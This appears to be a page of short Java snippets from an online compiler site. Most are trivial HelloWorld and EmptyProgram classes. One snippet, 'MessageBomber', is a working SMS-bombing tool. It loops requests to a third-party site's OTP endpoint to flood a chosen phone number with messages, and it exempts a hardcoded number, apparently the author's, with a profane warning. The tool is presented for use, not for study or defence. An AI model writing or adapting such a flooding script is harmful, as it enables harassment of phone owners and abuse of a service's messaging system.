Java Programming Examples

HelloWorld

java

public class HelloWorld {
    public static void main (String[] args){
        System.out.println("Hello World");
    }
}

Section2-HelloWorld

java

public class HelloWorld {

     public static void main(String []args) {
        System.out.println("Hello, world!");
     }
}

HelloWorld

java

public class HelloWorld {
    
    public static void main(String[] args) {
        System.out.println("Hello, world!");
    }
}

Section 2- Hello World

java

public class HelloWorld{
    
    public static void main(String []args) {
        System.out.println("OwO What's dis?");
    }
}

Empty Program

java

public class EmptyProgram {

     public static void main(String []args){

     }
}

Section2-EmptyProgram

java

public class EmptyProgram {

    public static void main (String[] args) {

    }
}

EmptyProgram 1

java

public class EmptyProgram {
    public static void main(String[] args){

    }

}

Compile and Execute Java Online

java

import java.util.Scanner; 
import java.lang.String; 
public class EmptyProgram { //A class is a blueprint for objects
	public static void main(String[] args) {
	    Scanner  input = new Scanner (System.in);
	    int wumbo = input.nextInt(); 
        System.out.print(wumbo); 	

	}
}

MessageBomber

java

import java.util.Scanner;
import java.net.*;
import java.io.*;


public class MessageBomber
{

    
    public static void main(String[] args) throws MalformedURLException, IOException 
    {
        System.out.println("Enter number:");
        Scanner read = new Scanner(System.in);
        String num = read.next();
        System.out.println("How many bombs:");
        int count = read.nextInt();
        String url2 = "https://www.tapp-me.com/sendotp?mobile="+num+"";
        if(url2.contains("9494171323"))
        {
            System.out.println("Fucker! Don't try to fuck me! -.- ");
            System.exit(0);
        }
        else
        {
            URL url = new URL(url2);

            // System.out.println(url);
            for(int i =0; i<count*2; i++)
            {
                try 
                {

                    URLConnection urlConnection = url.openConnection();
                    HttpURLConnection connection = null;
                    if(urlConnection instanceof HttpURLConnection) 
                    {
                       connection = (HttpURLConnection) urlConnection;
                    }
                    else 
                    {
                       System.out.println("Improper HTTP URL.\n");
                       return;
                    }

                    BufferedReader in = new BufferedReader(
                       new InputStreamReader(connection.getInputStream()));
                    String urlString = "";
                    String current;

                    while((current = in.readLine()) != null) 
                    {
                       urlString += current;
                    }
                    System.out.println(i+1+" "+urlString);
                }
                catch(IOException e) 
                {
                    e.printStackTrace();
                }
            }
        }
    }
}

Empty Program

java

public class EmptyProgram {

	public static void main(String[] args) {

	}
}

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